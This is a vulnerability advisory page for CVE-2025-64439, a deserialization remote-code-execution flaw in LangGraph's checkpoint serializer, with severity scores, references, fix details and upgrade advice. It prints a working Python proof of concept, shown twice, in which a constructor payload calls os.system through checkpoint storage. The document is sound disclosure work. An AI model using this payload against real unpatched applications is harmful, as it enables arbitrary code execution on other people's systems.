CVE-2025-64439 (GCVE-0-2025-64439)

Vulnerability from cvelistv5 – Published: 2025-11-07 20:15 – Updated: 2025-11-07 20:21

Summary

LangGraph SQLite Checkpoint is an implementation of LangGraph CheckpointSaver that uses SQLite DB (both sync and async, via aiosqlite). In versions 2.1.2 and below, the JsonPlusSerializer (used as the default serialization protocol for all checkpointing) contains a Remote Code Execution (RCE) vulnerability when deserializing payloads saved in the "json" serialization mode. By default, the serializer attempts to use "msgpack" for serialization. However, prior to version 3.0 of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail, it would fall back to using the "json" mode. This issue is fixed in version 3.0.0.

Severity ?

7.4 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:H

CWE

CWE-502 - Deserialization of Untrusted Data

Assigner

GitHub_M

References

URL

Tags

	https://github.com/langchain-ai/langgraph/securit…	x_refsource_CONFIRM
	https://github.com/langchain-ai/langgraph/commit/…	x_refsource_MISC
	https://github.com/langchain-ai/langgraph/blob/c5…	x_refsource_MISC
	https://github.com/langchain-ai/langgraph/release…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	langchain-ai	langgraph	Affected: < 3.0.0

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GHSA-WWQV-P2PP-99H5

Vulnerability from github – Published: 2025-11-05 19:52 – Updated: 2025-11-07 21:55

Summary

LangGraph Checkpoint affected by RCE in "json" mode of JsonPlusSerializer

Details

Summary

Prior to langgraph-checkpoint version 3.0 , LangGraph’s JsonPlusSerializer (used as the default serialization protocol for all checkpointing) contains a remote code execution (RCE) vulnerability when deserializing payloads saved in the "json" serialization mode.

If an attacker can cause your application to persist a payload serialized in this mode, they may be able to also send malicious content that executes arbitrary Python code during deserialization.

Upgrading to version langgraph-checkpoint 3.0 patches this vulnerability by preventing deserialization of custom objects saved in this mode.

If you are deploying in langgraph-api, any version 0.5 or later is also free of this vulnerability.

Details

Affected file / component

jsonplus.py

By default, the serializer attempts to use "msgpack" for serialization. However, prior to version 3.0 of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail, it would fall back to using the "json" mode.

When operating in this mode, the deserializer supports a constructor-style format (lc == 2, type == "constructor") for custom objects to allow them to be reconstructed at load time. If an attacker is able to trigger this mode with a malicious payload, deserializing allow the attacker to execute arbitrary functions upon load.

Who is affected

This issue affects all users of langgraph-checkpoint versions earlier than 3.0 who:

Allow untrusted or user-supplied data to be persisted into checkpoints, and
Use the default serializer (or explicitly instantiate JsonPlusSerializer) that may fall back to "json" mode.

If your application only processes trusted data or does not allow untrusted checkpoint writes, the practical risk is reduced.

Proof of Concept (PoC)

from langgraph.graph import StateGraph 
from typing import TypedDict
from langgraph.checkpoint.sqlite import SqliteSaver

class State(TypedDict):
    foo: str
    attack: dict

def my_node(state: State):
    return {"foo": "oops i fetched a surrogate \ud800"}

with SqliteSaver.from_conn_string("foo.db") as saver:
    graph = (
        StateGraph(State).
        add_node("my_node", my_node).
        add_edge("__start__", "my_node").
        compile(checkpointer=saver)
     )


    attack = {
        "lc": 2,
        "type": "constructor",
        "id": ["os", "system"],
        "kwargs": {"command": "echo pwnd you > /tmp/pwnd.txt"},
    }
    malicious_payload = {
         "attack": attack,
    }

    thread_id = "00000000-0000-0000-0000-000000000001"
    config = {"thread_id": thread_id}
    # Malicious payload is saved in the first call
    graph.invoke(malicious_payload, config=config)

    # Malicious payload is deserialized and code is executed in the second call
    graph.invoke({"foo": "hi there"}, config=config)

Running this PoC writes a file /tmp/pwnd.txt to disk, demonstrating code execution.

Internally, this exploits the following code path:

from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer

serializer = JsonPlusSerializer() # Used within the checkpointer

serialized = serializer.dumps_typed(malicious_payload)
serializer.loads_typed(serialized)  # Executes os.system(...)

Fixed Version

The vulnerability is fixed in langgraph-checkpoint==3.0.0

Release link: https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0

Fix Description

The fix introduces an allow-list for constructor deserialization, restricting permissible "id" paths to explicitly approved module/class combinations provided at serializer construction.

Additionally, saving payloads in "json" format has been deprecated to remove this unsafe fallback path.

Mitigation

Upgrade immediately to langgraph-checkpoint==3.0.0.

This version is fully compatible with langgraph>=0.3 and does not require any import changes or code modifications.

In langgraph-api, updating to 0.5 or later will automatically require the patched version of the checkpointer library.

Severity ?

7.4 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:H

Show details on source website

JSON

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      "package": {
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        "name": "langgraph-checkpoint"
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    "nvd_published_at": "2025-11-07T21:15:41Z",
    "severity": "HIGH"
  },
  "details": "# Summary\n\nPrior to `langgraph-checkpoint` version `3.0` , LangGraph\u2019s `JsonPlusSerializer` (used as the default serialization protocol for all checkpointing) contains a remote code execution (RCE) vulnerability when deserializing payloads saved in the `\"json\"` serialization mode.\n\nIf an attacker can cause your application to persist a payload serialized in this mode, they may be able to also send malicious content that executes arbitrary Python code during deserialization.\n\nUpgrading to version langgraph-checkpoint `3.0` patches this vulnerability by preventing deserialization of custom objects saved in this mode.\n\nIf you are deploying in `langgraph-api`, any version `0.5` or later is also free of this vulnerability. \n\n# Details\n\n**Affected file / component**\n\n[jsonplus.py](https://github.com/langchain-ai/langgraph/blob/c5744f583b11745cd406f3059903e17bbcdcc8ac/libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py)\n\nBy default, the serializer attempts to use `\"msgpack\"` for serialization. However, prior to version `3.0` of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail,  it would fall back to using the `\"json\"` mode.\n\nWhen operating in this mode, the deserializer supports a constructor-style format (`lc == 2`, `type == \"constructor\"`) for custom objects to allow them to be reconstructed at load time.  If an attacker is able to trigger this mode with a malicious payload, deserializing  allow the attacker to execute arbitrary functions upon load.\n\n---\n\n# Who is affected\n\nThis issue affects all users of `langgraph-checkpoint` **versions earlier than 3.0** who:\n\n1. Allow untrusted or user-supplied data to be persisted into checkpoints, and\n2. Use the default serializer (or explicitly instantiate `JsonPlusSerializer`) that may fall back to `\"json\"` mode.\n\nIf your application only processes trusted data or does not allow untrusted checkpoint writes, the practical risk is reduced.\n\n# Proof of Concept (PoC)\n\n```python\nfrom langgraph.graph import StateGraph \nfrom typing import TypedDict\nfrom langgraph.checkpoint.sqlite import SqliteSaver\n\nclass State(TypedDict):\n    foo: str\n    attack: dict\n\ndef my_node(state: State):\n    return {\"foo\": \"oops i fetched a surrogate \\ud800\"}\n\nwith SqliteSaver.from_conn_string(\"foo.db\") as saver:\n    graph = (\n\t    StateGraph(State).\n\t    add_node(\"my_node\", my_node).\n\t    add_edge(\"__start__\", \"my_node\").\n\t    compile(checkpointer=saver)\n\t )\n    \n\n    attack = {\n        \"lc\": 2,\n        \"type\": \"constructor\",\n        \"id\": [\"os\", \"system\"],\n        \"kwargs\": {\"command\": \"echo pwnd you \u003e /tmp/pwnd.txt\"},\n    }\n    malicious_payload = {\n         \"attack\": attack,\n    }\n\n    thread_id = \"00000000-0000-0000-0000-000000000001\"\n    config = {\"thread_id\": thread_id}\n    # Malicious payload is saved in the first call\n    graph.invoke(malicious_payload, config=config)\n\n    # Malicious payload is deserialized and code is executed in the second call\n    graph.invoke({\"foo\": \"hi there\"}, config=config)\n\n```\n\nRunning this PoC writes a file `/tmp/pwnd.txt` to disk, demonstrating code execution.\n\nInternally, this exploits the following code path:\n\n```python\nfrom langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer\n\nserializer = JsonPlusSerializer() # Used within the checkpointer\n\nserialized = serializer.dumps_typed(malicious_payload)\nserializer.loads_typed(serialized)  # Executes os.system(...)\n\n```\n\n---\n\n# Fixed Version\n\nThe vulnerability is fixed in **`langgraph-checkpoint==3.0.0`**\n\nRelease link: https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0\n\n---\n\n# Fix Description\n\nThe fix introduces an **allow-list** for constructor deserialization, restricting permissible `\"id\"` paths to explicitly approved module/class combinations provided at serializer construction.\n\nAdditionally, saving payloads in `\"json\"` format has been deprecated to remove this unsafe fallback path.\n\n---\n\n# Mitigation\n\nUpgrade immediately to `langgraph-checkpoint==3.0.0`.\n\nThis version is fully compatible with `langgraph\u003e=0.3` and does **not** require any import changes or code modifications.\n\nIn `langgraph-api`, updating to `0.5` or later will automatically require the patched version of the checkpointer library.",
  "id": "GHSA-wwqv-p2pp-99h5",
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  "published": "2025-11-05T19:52:50Z",
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    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "LangGraph Checkpoint affected by RCE in \"json\" mode of JsonPlusSerializer "
}

FKIE_CVE-2025-64439

Vulnerability from fkie_nvd - Published: 2025-11-07 21:15 - Updated: 2025-11-12 16:20

Severity ?

7.4 (High) - CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/langchain-ai/langgraph/blob/c5744f583b11745cd406f3059903e17bbcdcc8ac/libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py
	security-advisories@github.com	https://github.com/langchain-ai/langgraph/commit/c5744f583b11745cd406f3059903e17bbcdcc8ac
	security-advisories@github.com	https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0
	security-advisories@github.com	https://github.com/langchain-ai/langgraph/security/advisories/GHSA-wwqv-p2pp-99h5

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "LangGraph SQLite Checkpoint is an implementation of LangGraph CheckpointSaver that uses SQLite DB (both sync and async, via aiosqlite). In versions 2.1.2 and below, the JsonPlusSerializer (used as the default serialization protocol for all checkpointing) contains a Remote Code Execution (RCE) vulnerability when deserializing payloads saved in the \"json\" serialization mode. By default, the serializer attempts to use \"msgpack\" for serialization. However, prior to version 3.0 of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail, it would fall back to using the \"json\" mode. This issue is fixed in version 3.0.0."
    },
    {
      "lang": "es",
      "value": "LangGraph SQLite Checkpoint es una implementaci\u00f3n de LangGraph CheckpointSaver que utiliza una base de datos SQLite (tanto s\u00edncrona como as\u00edncrona, a trav\u00e9s de aiosqlite). En las versiones 2.1.2 e inferiores, el JsonPlusSerializer (utilizado como el protocolo de serializaci\u00f3n predeterminado para todo el proceso de checkpointing) contiene una vulnerabilidad de ejecuci\u00f3n remota de c\u00f3digo (RCE) al deserializar cargas \u00fatiles guardadas en el modo de serializaci\u00f3n \"json\". Por defecto, el serializador intenta usar \"msgpack\" para la serializaci\u00f3n. Sin embargo, antes de la versi\u00f3n 3.0 de la librer\u00eda del checkpointer, si valores sustitutos Unicode ilegales causaban que la serializaci\u00f3n fallara, recurrir\u00eda al uso del modo \"json\". Este problema est\u00e1 solucionado en la versi\u00f3n 3.0.0."
    }
  ],
  "id": "CVE-2025-64439",
  "lastModified": "2025-11-12T16:20:22.257",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "PRESENT",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 7.4,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "LOW",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "HIGH",
          "subConfidentialityImpact": "HIGH",
          "subIntegrityImpact": "HIGH",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "HIGH",
          "vulnConfidentialityImpact": "NONE",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2025-11-07T21:15:41.690",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/langchain-ai/langgraph/blob/c5744f583b11745cd406f3059903e17bbcdcc8ac/libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/langchain-ai/langgraph/commit/c5744f583b11745cd406f3059903e17bbcdcc8ac"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/langchain-ai/langgraph/security/advisories/GHSA-wwqv-p2pp-99h5"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-502"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2025-64439 (GCVE-0-2025-64439)

GHSA-WWQV-P2PP-99H5

Summary

Details

Who is affected

Proof of Concept (PoC)

Fixed Version

Fix Description

Mitigation

FKIE_CVE-2025-64439

Tags

Sightings

Nomenclature